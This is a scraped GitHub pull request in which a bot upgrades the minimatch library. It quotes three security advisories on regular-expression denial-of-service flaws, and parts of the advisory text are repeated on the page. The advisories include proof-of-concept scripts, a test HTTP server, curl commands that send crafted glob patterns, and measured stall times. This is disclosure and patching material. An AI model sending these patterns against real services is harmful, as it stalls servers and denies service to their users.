"*(*(a|b))" n=23: 257ms result=false
"*(a|b)" n=101: 0ms result=false
noext=true: 0ms (should be ~0ms)
"+(+(+(a|b)))" n=18: 6300ms result=false

Step 2 -- HTTP server (event loop starvation proof)

Save as poc4-server.mjs:

importhttpfrom'node:http'import{URL}from'node:url'import{minimatch}from'minimatch'constPORT=3001http.createServer((req,res)=>{consturl=newURL(req.url,`http://localhost:${PORT}`)constpattern=url.searchParams.get('pattern')??''constpath=url.searchParams.get('path')??''conststart=process.hrtime.bigint()constresult=minimatch(path,pattern)constms=Number(process.hrtime.bigint()-start)/1e6console.log(`[${newDate().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`)res.writeHead(200,{'Content-Type': 'application/json'})res.end(JSON.stringify({ result,ms: ms.toFixed(0)})+'\n')}).listen(PORT,()=>console.log(`listening on ${PORT}`))

Terminal 1 -- start the server:

node poc4-server.mjs

Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:

curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &

Terminal 3 -- send a benign request while the attack is in-flight:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"

Observed output -- Terminal 2 (attack):

{"result":false,"ms":"64149"}

Observed output -- Terminal 3 (benign, concurrent):

{"result":false,"ms":"0"}
time_total: 63.022047s

Terminal 1 (server log):

[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz"
[2026-02-20T09:42:21.775Z] done in 64149ms result=false
[2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz"
[2026-02-20T09:42:21.779Z] done in 0ms result=false

The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second time_total is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.

Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.


Impact

Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.

Depth 3 (*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.

+() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).

Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments

CVE-2026-27903 / GHSA-7r86-cg39-jmmj

More information

Details

Summary

matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.


Details

The vulnerable loop is in matchOne() at src/index.ts#L960:

while(fr<fl){..if(this.matchOne(file.slice(fr),pattern.slice(pr),partial)){..returntrue}..fr++}

When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).

There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input.

Measured timing with n=30 path segments:

k (globstars)Pattern sizeTime
736 bytes~154ms
946 bytes~1.2s
1156 bytes~5.4s
1261 bytes~9.7s
1366 bytes~15.9s

PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- inline script

import{minimatch}from'minimatch'// k=9 globstars, n=30 path segments// pattern: 46 bytes, default optionsconstpattern='**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b'constpath='a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'conststart=Date.now()minimatch(path,pattern)console.log(Date.now()-start+'ms')// ~1200ms

To scale the effect, increase k:

// k=11 -> ~5.4s, k=13 -> ~15.9sconstk=11constpattern=Array.from({length: k},()=>'**/a').join('/')+'/b'constpath=Array(30).fill('a').join('/')minimatch(path,pattern)

No special options are required. This reproduces with the default minimatch() call.

Step 2 -- HTTP server (event loop starvation proof)

The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:

// poc1-server.mjsimporthttpfrom'node:http'import{URL}from'node:url'import{minimatch}from'minimatch'constPORT=3000constserver=http.createServer((req,res)=>{consturl=newURL(req.url,`http://localhost:${PORT}`)if(url.pathname!=='/match'){res.writeHead(404);res.end();return}constpattern=url.searchParams.get('pattern')??''constpath=url.searchParams.get('path')??''conststart=process.hrtime.bigint()constresult=minimatch(path,pattern)constms=Number(process.hrtime.bigint()-start)/1e6res.writeHead(200,{'Content-Type': 'application/json'})res.end(JSON.stringify({ result,ms: ms.toFixed(0)})+'\n')})server.listen(PORT)

Terminal 1 -- start the server:

node poc1-server.mjs

Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:

curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &

Terminal 3 -- while the attack is in-flight, send a benign request:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"

Observed output (Terminal 3):

{"result":true,"ms":"0"}
time_total: 4.132709s

The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second time_total is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:

{"result":true,"ms":"0"}
time_total: 0.001599s

Impact

Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

isaacs/minimatch (minimatch)

v10.2.3

Compare Source

v10.2.2

Compare Source

v10.2.1

Compare Source

v10.2.0

Compare Source

v10.1.3

Compare Source

v10.1.2

Compare Source

v10.1.1

Compare Source

v10.1.0

Compare Source


Configuration

📅 Schedule: (in timezone America/New_York)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovaterenovateBot added the dependencies Upgrade or downgrade of project dependencies. label Feb 23, 2026
@renovate
renovateBot requested a review from a teamFebruary 23, 2026 00:42
@renovate
renovateBot requested review from a team and sullivanpj as code ownersFebruary 23, 2026 00:42
@renovate
renovateBot enabled auto-merge (squash) February 23, 2026 00:42
@renovate

renovateBot commented Feb 23, 2026

Copy link
Copy Markdown
ContributorAuthor

Branch automerge failure

This PR was configured for branch automerge. However, this is not possible, so it has been raised as a PR instead.


  • Branch has one or more failed status checks

@deepsource-io

deepsource-ioBot commented Feb 23, 2026

Copy link
Copy Markdown

DeepSource Code Review

We reviewed changes in 242a5a8...26794f9 on this pull request. Below is the summary for the review, and you can see the individual issues we found as inline review comments.

See full review on DeepSource ↗

PR Report Card

Overall GradeSecurity

Reliability

Complexity

Hygiene

Code Review Summary

AnalyzerStatusUpdated (UTC)Details
JavaScriptMar 13, 2026 5:21p.m.Review ↗
ShellMar 13, 2026 5:21p.m.Review ↗

@socket-security

socket-securityBot commented Feb 23, 2026

Copy link
Copy Markdown

Review the following changes in direct dependencies. Learn more about Socket for GitHub.

DiffPackageSupply Chain
Security
VulnerabilityQualityMaintenanceLicense
Added@​microsoft/​tsdoc@​0.16.0991009084100
Added@​microsoft/​tsdoc-config@​0.18.11001009688100
Updated@​microsoft/​api-extractor@​7.52.13 ⏵ 7.57.794-510089+198+6100

View full report

@socket-security

socket-securityBot commented Feb 23, 2026

Copy link
Copy Markdown

Warning

Review the following alerts detected in dependencies.

According to your organization's Security Policy, it is recommended to resolve "Warn" alerts. Learn more about Socket for GitHub.

ActionSeverityAlert (click "▶" to expand/collapse)
WarnHigh
Obfuscated code: npm vite is 91.0% likely obfuscated

Confidence: 0.91

Location:Package overview

From:pnpm-lock.yamlnpm/@nx/react@21.5.3npm/vite@7.1.5

ℹ Read more on: This package | This alert | What is obfuscated code?

Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at support@socket.dev.

Suggestion: Packages should not obfuscate their code. Consider not using packages with obfuscated code.

Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment @SocketSecurity ignore npm/vite@7.1.5. You can also ignore all packages with @SocketSecurity ignore-all. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.

View full report

@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.1 [security]chore(monorepo): update pnpm.catalog.default minimatch to v10.2.1 [security] - autoclosedFeb 24, 2026
@renovaterenovateBot closed this Feb 24, 2026
auto-merge was automatically disabled February 24, 2026 21:24

Pull request was closed

@renovate
renovateBot deleted the renovate/npm-minimatch-vulnerability branch February 24, 2026 21:24
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.1 [security] - autoclosedchore(monorepo): update pnpm.catalog.default minimatch to v10.2.1 [security]Feb 25, 2026
@renovaterenovateBot reopened this Feb 25, 2026
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 3 times, most recently from 8481288 to 6e988ceCompareFebruary 28, 2026 05:19
@renovate
renovateBot enabled auto-merge (squash) February 28, 2026 05:19
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.1 [security]chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]Feb 28, 2026
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from 6e988ce to cb916c7CompareMarch 5, 2026 15:34
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from cb916c7 to 26794f9CompareMarch 13, 2026 17:20
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security] - autoclosedMar 27, 2026
@renovaterenovateBot closed this Mar 27, 2026
auto-merge was automatically disabled March 27, 2026 02:22

Pull request was closed

@storm-softwarestorm-software locked and limited conversation to collaborators Mar 27, 2026
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security] - autoclosedchore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]Mar 30, 2026
@renovaterenovateBot reopened this Mar 30, 2026
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 2 times, most recently from 26794f9 to 8fb4eb9CompareMarch 30, 2026 20:53
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from 8fb4eb9 to 5a959f6CompareApril 1, 2026 17:02
@renovate
renovateBot enabled auto-merge (squash) April 1, 2026 17:02
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from 5a959f6 to ba70075CompareApril 8, 2026 21:07
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security] - autoclosedApr 27, 2026
@renovaterenovateBot closed this Apr 27, 2026
auto-merge was automatically disabled April 27, 2026 17:55

Pull request was closed

@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security] - autoclosedchore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]Apr 27, 2026
@renovaterenovateBot reopened this Apr 27, 2026
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 3 times, most recently from 32cacb3 to a1528a4CompareApril 29, 2026 09:42
@renovate
renovateBot enabled auto-merge (squash) April 29, 2026 09:42
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 2 times, most recently from 46d0576 to 2af224dCompareMay 18, 2026 12:41
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 2 times, most recently from b3fbe6f to d9d01ccCompareJune 1, 2026 20:18
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from d9d01cc to ef90e24CompareJune 11, 2026 11:17
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 3 times, most recently from 72e554c to 633c002CompareJuly 24, 2026 22:13
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 2 times, most recently from 1abc0da to e1d038aCompareJuly 30, 2026 18:13
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from e1d038a to 453fd3cCompareAugust 12, 2026 04:19
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from 453fd3c to a853fb9CompareAugust 14, 2026 21:11
Sign up for freeto subscribe to this conversation on GitHub. Already have an account? Sign in.

Labels

dependenciesUpgrade or downgrade of project dependencies.

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants

, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Remove or un-stick sticky/fixed headers that block content\n(function() {\n function unstick() {\n document.querySelectorAll('header, nav, [role=\"banner\"], .header, .navbar, .sticky, .fixed-top, [style*=\"position: fixed\"], [style*=\"position:sticky\"]').forEach(function(el) {\n if (el.style.position === 'fixed' || el.style.position === 'sticky' || \n getComputedStyle(el).position === 'fixed' || getComputedStyle(el).position === 'sticky') {\n el.style.position = 'static';\n el.style.top = 'auto';\n el.style.zIndex = 'auto';\n }\n });\n }\n \n unstick();\n \n var observer = new MutationObserver(unstick);\n observer.observe(document.body, { childList: true, subtree: true, attributes: true, attributeFilter: ['style', 'class'] });\n})();", "Kill Sticky Headers"); } } catch(__e) { console.warn('[Userscript:Kill Sticky Headers]', __e); } })(); (function(){ try { var __m = "*"; var __re = new RegExp('^' + ".*" + '
Skip to content

chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security] - #210

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-minimatch-vulnerability
Open

chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]#210
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-minimatch-vulnerability

Conversation

@renovate

@renovaterenovateBot commented Feb 23, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

PackageChangeAgeConfidence
minimatch10.0.310.2.3ageconfidence

minimatch has a ReDoS via repeated wildcards with non-matching literal in pattern

CVE-2026-26996 / GHSA-3ppc-4f35-3m26

More information

Details

Summary

minimatch is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive * wildcards followed by a literal character that doesn't appear in the test string. Each * compiles to a separate [^/]*? regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.

The time complexity is O(4^N) where N is the number of * characters. With N=15, a single minimatch() call takes ~2 seconds. With N=34, it hangs effectively forever.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

PoC

When minimatch compiles a glob pattern, each * becomes [^/]*? in the generated regex. For a pattern like ***************X***:

/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/

When the test string doesn't contain X, the regex engine must try every possible way to distribute the characters across all the [^/]*? groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) — exponential.

Impact

Any application that passes user-controlled strings to minimatch() as the pattern argument is vulnerable to DoS. This includes:

  • File search/filter UIs that accept glob patterns
  • .gitignore-style filtering with user-defined rules
  • Build tools that accept glob configuration
  • Any API that exposes glob matching to untrusted input

Thanks to @​ljharb for back-porting the fix to legacy versions of minimatch.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions

CVE-2026-27904 / GHSA-23c5-xmqv-rm74

More information

Details

Summary

Nested *() extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern *(*(*(a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally.


Details

The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the * extglob type, the close token emitted is )* or )?, wrapping the recursive body in (?:...)*. When extglobs are nested, each level adds another * quantifier around the previous group:

: this.type==='*'&&bodyDotAllowed ? `)?`
: `)${this.type}`

This produces the following regexps:

PatternGenerated regex
*(a|b)/^(?:a|b)*$/
*(*(a|b))/^(?:(?:a|b)*)*$/
*(*(*(a|b)))/^(?:(?:(?:a|b)*)*)*$/
*(*(*(*(a|b))))/^(?:(?:(?:(?:a|b)*)*)*)*$/

These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false.

The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration.

Measured times via minimatch():

PatternInputTime
*(*(a|b))a x30 + z~68,000ms
*(*(*(a|b)))a x20 + z~124,000ms
*(*(*(*(a|b))))a x25 + z~116,000ms
*(a|a)a x25 + z~2,000ms

Depth inflection at fixed input a x16 + z:

DepthPatternTime
1*(a|b)0ms
2*(*(a|b))4ms
3*(*(*(a|b)))270ms
4*(*(*(*(a|b))))115,000ms

Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.


PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- verify the generated regexps and timing (standalone script)

Save as poc4-validate.mjs and run with node poc4-validate.mjs:

import{minimatch,Minimatch}from'minimatch'functiontimed(fn){consts=process.hrtime.bigint()letresult,errortry{result=fn()}catch(e){error=e}constms=Number(process.hrtime.bigint()-s)/1e6return{ ms, result, error }}// Verify generated regexpsfor(letdepth=1;depth<=4;depth++){letpat='a|b'for(leti=0;i<depth;i++)pat=`*(${pat})`constre=newMinimatch(pat,{}).set?.[0]?.[0]?.toString()console.log(`depth=${depth} "${pat}" -> ${re}`)}// depth=1 "*(a|b)" -> /^(?:a|b)*$/// depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/// depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/// depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/// Safe-length timing (exponential growth confirmation without multi-minute hang)constcases=[['*(*(*(a|b)))',15],// ~270ms['*(*(*(a|b)))',17],// ~800ms['*(*(*(a|b)))',19],// ~2400ms['*(*(a|b))',23],// ~260ms['*(a|b)',101],// <5ms (depth=1 control)]for(const[pat,n]ofcases){constt=timed(()=>minimatch('a'.repeat(n)+'z',pat))console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)}// Confirm noext disables the vulnerabilityconstt_noext=timed(()=>minimatch('a'.repeat(18)+'z','*(*(*(a|b)))',{noext: true}))console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)// +() is equally affectedconstt_plus=timed(()=>minimatch('a'.repeat(17)+'z','+(+(+(a|b)))'))console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)

Observed output:

depth=1 "*(a|b)" -> /^(?:a|b)*$/
depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/
depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/
depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
"*(*(*(a|b)))" n=15: 269ms result=false
"*(*(*(a|b)))" n=17: 268ms result=false
"*(*(*(a|b)))" n=19: 2408ms result=false
"*(*(a|b))" n=23: 257ms result=false
"*(a|b)" n=101: 0ms result=false
noext=true: 0ms (should be ~0ms)
"+(+(+(a|b)))" n=18: 6300ms result=false

Step 2 -- HTTP server (event loop starvation proof)

Save as poc4-server.mjs:

importhttpfrom'node:http'import{URL}from'node:url'import{minimatch}from'minimatch'constPORT=3001http.createServer((req,res)=>{consturl=newURL(req.url,`http://localhost:${PORT}`)constpattern=url.searchParams.get('pattern')??''constpath=url.searchParams.get('path')??''conststart=process.hrtime.bigint()constresult=minimatch(path,pattern)constms=Number(process.hrtime.bigint()-start)/1e6console.log(`[${newDate().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`)res.writeHead(200,{'Content-Type': 'application/json'})res.end(JSON.stringify({ result,ms: ms.toFixed(0)})+'\n')}).listen(PORT,()=>console.log(`listening on ${PORT}`))

Terminal 1 -- start the server:

node poc4-server.mjs

Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:

curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &

Terminal 3 -- send a benign request while the attack is in-flight:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"

Observed output -- Terminal 2 (attack):

{"result":false,"ms":"64149"}

Observed output -- Terminal 3 (benign, concurrent):

{"result":false,"ms":"0"}
time_total: 63.022047s

Terminal 1 (server log):

[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz"
[2026-02-20T09:42:21.775Z] done in 64149ms result=false
[2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz"
[2026-02-20T09:42:21.779Z] done in 0ms result=false

The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second time_total is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.

Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.


Impact

Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.

Depth 3 (*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.

+() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).

Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments

CVE-2026-27903 / GHSA-7r86-cg39-jmmj

More information

Details

Summary

matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.


Details

The vulnerable loop is in matchOne() at src/index.ts#L960:

while(fr<fl){..if(this.matchOne(file.slice(fr),pattern.slice(pr),partial)){..returntrue}..fr++}

When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).

There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input.

Measured timing with n=30 path segments:

k (globstars)Pattern sizeTime
736 bytes~154ms
946 bytes~1.2s
1156 bytes~5.4s
1261 bytes~9.7s
1366 bytes~15.9s

PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- inline script

import{minimatch}from'minimatch'// k=9 globstars, n=30 path segments// pattern: 46 bytes, default optionsconstpattern='**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b'constpath='a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'conststart=Date.now()minimatch(path,pattern)console.log(Date.now()-start+'ms')// ~1200ms

To scale the effect, increase k:

// k=11 -> ~5.4s, k=13 -> ~15.9sconstk=11constpattern=Array.from({length: k},()=>'**/a').join('/')+'/b'constpath=Array(30).fill('a').join('/')minimatch(path,pattern)

No special options are required. This reproduces with the default minimatch() call.

Step 2 -- HTTP server (event loop starvation proof)

The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:

// poc1-server.mjsimporthttpfrom'node:http'import{URL}from'node:url'import{minimatch}from'minimatch'constPORT=3000constserver=http.createServer((req,res)=>{consturl=newURL(req.url,`http://localhost:${PORT}`)if(url.pathname!=='/match'){res.writeHead(404);res.end();return}constpattern=url.searchParams.get('pattern')??''constpath=url.searchParams.get('path')??''conststart=process.hrtime.bigint()constresult=minimatch(path,pattern)constms=Number(process.hrtime.bigint()-start)/1e6res.writeHead(200,{'Content-Type': 'application/json'})res.end(JSON.stringify({ result,ms: ms.toFixed(0)})+'\n')})server.listen(PORT)

Terminal 1 -- start the server:

node poc1-server.mjs

Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:

curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &

Terminal 3 -- while the attack is in-flight, send a benign request:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"

Observed output (Terminal 3):

{"result":true,"ms":"0"}
time_total: 4.132709s

The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second time_total is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:

{"result":true,"ms":"0"}
time_total: 0.001599s

Impact

Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.

Severity

  • CVSS Score: 7.5 / 10 (High)
